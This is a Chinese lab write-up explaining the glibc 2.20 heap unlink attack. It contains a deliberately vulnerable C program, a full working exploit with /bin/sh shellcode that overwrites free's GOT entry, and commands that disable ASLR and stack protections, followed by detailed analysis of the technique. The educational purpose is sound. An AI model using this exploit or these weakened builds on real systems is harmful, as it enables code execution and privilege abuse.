一、 环境配置

笔者使用ubuntu14.04.6_desktop_i386
国内镜像网站如下:
http://mirrors.aliyun.com/ubuntu-releases/14.04/
glibc版本2.20

二、ulink攻击

准备工作:

有漏洞的代码vuln.c

/* Heap overflow vulnerable program. */
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

攻击代码attack.c

/* Program to exploit 'vuln' using unlink technique.*/
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable.
#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function(by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*//* eb 0a means jmp 10 bytes to next instruction. */ "\xeb\x0assppppffff""\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{char * p;char argv1[ 680 + 1 ];char * argv[] = { VULNERABLE, argv1, NULL };p = argv1;/* the fd field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the bk field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the fd_nextsize field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the bk_nextsize field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* Copy the shellcode */memcpy( p, shellcode, strlen(shellcode) );p += strlen( shellcode );/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize of first chunk */memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );p += 4;/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/*( (size_t *)p ) = (size_t)( -4 );p += 4;/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink functionwould do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in second chunk's bk field (see below) */*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );p += 4;/* the bk field of the second chunk. It should point to shell code address.*/*( (void **)p ) = (void *)( CODE_ADDRESS );p += 4;/* the terminating NUL character */*p = '';/* the execution of the vulnerable program */execve( argv[0], argv, NULL );return( -1 );
}

1、在/home/vagrant解压glibc-2.20-lwm.tgz
2、建立一个目录,例如:/home/vagrant/glibc-build,进入这个目录后编译glibc源码

>> ../glibc-2.20/configure --prefix=/home/vagrant/glibc-build/
>> make && make install

3、编译vuln.c,

>> gcc -g -z norelro -z execstack -o vuln vuln.c
-Wl,--rpath=/home/vagrant/glibc-build/lib
-Wl,--dynamic-linker=/home/vagrant/glibc-build/lib/ld-linux.so.2

4、使用ldd命令, 可以看到libc.so.6链接到了刚才编译的libc库

>>ldd vuln
linux-gate.so.1 => (0xb77a5000)
libc.so.6 => /home/vagrant/glibc-build/lib/libc.so.6 (0xb7604000)
/home/vagrant/glibc-build/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb77a6000)

5、用普通方式编译attack.c,同样使用ldd查看

>>gcc -o attack attack.c
>>ldd attack
linux-gate.so.1 => (0xb7737000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757c000)
/lib/ld-linux.so.2 (0xb7738000)

6、关闭系统随机化

>>echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space

7、执行attack可以看到出现了一个可利用的shell

三、回答问题理解unlink原理

1、attack.c中680这个数值怎么来的?在分配的内存中覆盖了哪些范围,请画图说明

1、在vuln.c中说要first chunk的数据部分大小为666B,因为first chunk可以复用 second chunk的pre_size字段(4B)填充数据,所以实际first chunk的数据大小只需要662B(666-4)

2、又因为chunk以8B对齐,所以first chunk的数据部分大小需要是8字节的倍数,将662B加上2B满足要求,即664B.

3、因为攻击需要覆盖到second chunk的fd 和bk指针从而达到“在指定地址写入指定值”的攻击,进而覆盖free函数地址为shellcode地址,所以需要再向后溢出,来覆盖second chunk的 pre_size,size,fd,bk,即在原有first chunk的基础上再多写16B(4×4B)。

4、综合2,3知道要总共要写入680B(664B+16B)的数据,内存覆盖范围如下图:


2、attack.c中覆盖第二个chunk的元数据fd指针,为什么要FUNCTION_POINTER-12
为了覆盖free函数为shellcode地址,当下次调用free函数时会执行shellcode.

分析:
1、当free(first)时,因为检测到second chunk也是空闲的,所以会发生向前合并的操作,不仅会unlink了第一个chunk,第二个chunk也unlink了。

2、如下图unlink函数的代码,可以看到当unlink第二个chunk时对fd和bk做了如下操作:

3、按照atttack.c的填充方式如下:①其中FUNCTION_POINTER的地址用 readelf -r vuln 可以看到是free函数的地址 ,②CODE_ADDRESS如果调试vuln可以看到是分配的第一块内存的地址+16个字节(meta data),即shellcode的地址。

4、综合1、2、3知道unlink second chunk时做了如下操作:

1)首先FD= nextchunk->fd = free地址 – 12;
2)然后BK = nextchunk->bk = shellcode起始地址;
3)再将BK赋值给FD->bk,即(free地址 – 12)->bk = shellcode起始地址;
4)最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12。

如下图:

①1)2)步中,unlink强制将free addr -12和shellcode addr看作malloc_chunk结构体,当free addr-12对应second chunk的pre size时,可以知道free 函数地址 刚好是(free地址 – 12)->bk(12B代表pre_size,size,fd,4Bx3)

②在第3)步又将shellcode起始地址赋给(free地址 – 12)->bk,相当于shellcode起始地址赋给free 函数地址。


3、shellcode开头是eb0a,表示跳过12个字节,为什么要跳过后面的"ssppppffff" ? 另外请反汇编shellcode解释shellcode的功能
1、为什么跳过后面的"ssppppffff":

①参考上一题分析中的第四点第4)步,因为最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12,即shellcode + 8位置的4字节数据会被替换为free addr – 12,所以shellcode应该跳过前12个字节。

②"\xeb\x0assppppffff"中eb0a指令加上后面的ssppppffff十个字符正好是12个字节。

2、shellcode的功能为:获得系统shell控制权执行shell.

分析①将shellcode转换为汇编代码:

使用ollydebug反汇编shellcode代码的得到汇编代码如下:

②分析功能:shellcode建立了一个栈,其中push的参数很常见,0x68732F2F和0x6E69622F合起来是字符串参数“/bin/sh”;把基地址eax=0x0推到栈中;把返回地址ebx推到栈中;mov ecx,esp保存栈指针的地址;

进行80号调用,因为al=0xB(10进制为11),表示syscall表中的11号索引值代表execve()。综上此shellcode调用了execve(),参数为/bin/sh,即获取系统的shell权限执行shell.


4、vuln.c中分配的666字节和12字节的chunk,实际分配大小是多大?属于第几个虚拟bin?如果是在64位平台呢?

32位平台:实际分配大小为672字节,大于512字节,属于large bins。

分析如下:分配666字节中4字节被second chunk的pre_size复用,所以数据部分有662字节,又因为在32位系统中要8字节对齐,所以是664字节,再加上头部的presize和size有8字节,所以一共分配了664+8=672字节。

64位平台:实际分配大小为688字节,属于small bins。

分析如下:分配666字节中8字节被second chunk的pre_size复用,所以数据部分有658字节,又因为在64位系统中要16字节对齐,所以是672字节,再加上头部的presize和size有16字节,所以一共分配了672+16=688字节。


5、glibc2.20源代码中unlink宏去掉了哪些保护措施导致unlink攻击可以成功?解释这些安全措施的含义
查看glibc-2.20的unlink宏的定义,位置在malloc文件夹的malloc.c文件中

添加保护措施的unlink宏定义如下:

glibc-2.20的unlink宏定义如下:

可以看到去掉的保护措施如下:

去掉的保护措施:少了if判断条件,去掉了检测是否是双向链表的判断。

安全措施的含义:检查p与前后的chunk是否构成双向链表,FD是P的下一个chunk,BK是P的前一个chunk。可以知道当安全时,FD->bk表示P的下一个chunk的前一个chunk,一定是P;BK->fd的表示P的前一个chunk的下一个chunk,一定是P。当执行if判断的时候,会检测链表中前一个chunk的fd和后一个chunk的bk是否都指向当前需要unlink的chunk,这样攻击者就无法替换second chunk 的fd与bk(因为这会影响FD和BK),所以FD->bk = BK 与 BK->fd = FD不会执行,从而使unlink攻击失败。


6、vuln.c中第一次调用free的时候是什么情况下进行chunk的consolidation的?依据glibc源代码进行分析,给出分析过程
在第一次调用free函数的时候检测到second chunk也是空闲的,会进行chunk的consolidation。

分析过程如下:

1、结合free(first_chunk)的流程图分析流程:

1)判断first chunk是不是fast bin,而first chunk属于large bins(第五题已分析),N

2)判断first chunk的prev-issue:因为first chunk前面没有chunk,默认堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。所以认为前一个chunk是在使用的,Y

3)判断next chunk是不是top chunk:因为下一个chunk是被分配过的second chunk,所以不是 top chunk,N

4)判断second chunk是不是inuse:因为second chunk被恶意覆盖,second chunk会被认为是空闲的,N

5)进行chunk的conlidation(图中橙色部分)


2、流程4)为什么判断second chunk为空闲:

分析判断为空闲的glibc源代码如下:

其中(((char *) §) + (s)))表示nextchunk向后移动nextsize,表示next next chunk的位置,可以看到判断next chunk为空闲是根据next netx chunk的P位来判断的。

而在覆盖first chunk时产生溢出将second chunk的值设置为了-4,再+8找到的“next next chunk的size的P位”其实是second chunk的 pre_size的最后一位,即通过inuse_bit_at_offset宏获取到的nextinuse为0,即second chunk为空闲,需要进行consolidaton合并操作。

3、glibc中向前合并(consolidation)的代码分析:

当发生向前合并操作时:

1)将后一个chunk占用的内存合并到当前chunk;
2)使用unlink宏,将后一个free chunk从双向循环链表中移除。

四、总结

1、unlink攻击是对堆的攻击,如果unlink宏没有任何保护,那么这个漏洞会被利用向任意地址写入任意值,意味着可以修改系统中关键位置,并执行特定的代码,例如shellcode,本例就是执行了系统调用获得shell权限

2、attack.c构建攻击代码,所有的工作都是填充一个缓冲区,然后交给vuln作为参数:
①这个缓冲区长度为680字节,超过了第一个chunk长度,造成堆缓冲区溢出
②堆溢出的目标是修改第二个chunk的元数据(注意:第二个chunk变成了空闲块)
③在第一次调用free的时候,unlink攻击覆盖free函数为shellcode地址
注意:第一次调用free的时候,不仅仅unlink了第一个chunk,由于consolidation,还unlink了第二个chunk,所以在第二次调用free的时候,实际会执行shellcode

3、attack.c如何构造缓冲区
填充 44 个字节
填充shellcode
填充字符‘B’,填充长度为 680-4
4-4*4-strlen(shellcode)
设置第二个标志位为chunk空闲
设置第二个chunk长度为-4(0xfffffffc),trick malloc
修改第二个chunk的fd=free函数地址,FUNCTIONPTR-12
修改第二个chunk的bk=shellcode

PWN之堆利用-unlink攻击相关推荐

  1. pwn题堆利用的一些姿势 -- IO_FILE

    IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...

  2. pwn题堆利用的一些姿势 -- free_hook

    free_hook 概述 初级必备姿势 常规搭配姿势 按需进阶姿势 总结 pwn题堆利用的一些姿势 – malloc_hook pwn题堆利用的一些姿势 – IO_FILE pwn题堆利用的一些姿势 ...

  3. CTF(pwn) 堆利用 之 unlink 介绍

    unlink是链表中常见的操作,而我们需要利用这个过程 通过改变链表指针,使中间堆块拿出来 当前的unlink会有一个对链表的完整性检查的 // 由于 P 已经在双向链表中,所以有两个地方记录其大小, ...

  4. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  5. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  6. 利用FRIDA攻击Android应用程序(三)

    利用FRIDA攻击Android应用程序(三) 前言 在我的有关frida的第二篇博客发布不久之后,@muellerberndt决定发布另一个OWASP Android crackme,我很想知道是否 ...

  7. 利用FRIDA攻击Android应用程序(二)

    在本系列文章的第一篇中,我们已经对Frida的原理进行了详细的介绍,现在,我们将演示如何通过Frida搞定crackme问题.有了第一篇的内容作为基础,理论上讲这应该不是什么难事.如果你想亲自动手完成 ...

  8. 朝鲜国家黑客被指利用 LinkedIn 攻击欧洲航空公司和军队企业

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 ESET 公司在虚拟世界安全大会上指出,臭名昭著的朝鲜国家黑客组织 Lazarus Group 利用 LinkedIn 攻击欧洲航空航 ...

  9. 利用SSRF攻击Redis

    前置知识 利用SSRF来攻击靶机的redis服务,需要涉及到的一些知识点: 1,Redis客户端和服务端通信过程,以及常用命令: 2,相关协议,例如dict://协议和gother协议的使用 dict ...

  10. 【威胁通告】攻击者利用漏洞攻击Edimax WiFi桥接器

    [威胁通告]攻击者利用漏洞攻击Edimax WiFi桥接器 绿盟威胁情报中心 [绿盟科技安全情报](javascript:void(0)

最新文章

  1. view(*args)改变张量的大小和形状_pytorch reshape numpy
  2. 无需写代码---建网站
  3. insight-vmi 编译中的问题
  4. 编译Python2.7.10
  5. 手机版ziperello_Ziperello
  6. POJ - 1922 Ride to School(思维+贪心)
  7. centos系统php环境配置,CentOS 6.4系统下编译安装LNMP和配置PHP环境具体步骤
  8. 软件的极简主义的三个大敌:配置文件,冗余的参数,和大量复杂的接口。
  9. N个Linux耍酷命令,手把手教你如何技术撩妹!
  10. linux 配置redis密码
  11. Android 扩展ViewFlipper做导航页(一)
  12. SAS的win10 64位安装过程
  13. NodeJS启动vue项目的坑
  14. recordcount=-1的原因以及解决方法
  15. 土地日度交易数据2000-2022
  16. ORA-01438:value larger than specified precision allowed for this column
  17. 定制Linux系统安装盘,syslinux定制系统启动盘
  18. 软件单元黑盒测试,软件测试教学资源单元3 黑盒测试.doc
  19. 【自动驾驶-感知-红绿灯】红绿灯识别知识点
  20. Discuz! X2.5 数据字典

热门文章

  1. Oracle EBS AutoConfig详解
  2. 计算机内存与外存的区别及使用配合(内存外存区别与搭配;快速缓存;计算机总线结构;计算机程序内存分布(栈、堆、全局/静态、数据区、代码段))
  3. 2022微信企业邮箱登录入口介绍,企业微信企业邮箱怎么开通注册?
  4. [编程题]evaluate-reverse-polish-notati
  5. protal认证的稳定性测试脚本
  6. postman支持https、安卓抓包
  7. zyb的面试 Hdu6468
  8. 有c语言基础自学JAVA要多久,零基础学java需要多久?要先学习C语言吗?
  9. 怎么逼自己 成为一个上进的人
  10. tomcat 配置文件 conf/server.xml 中的 appBase和docBase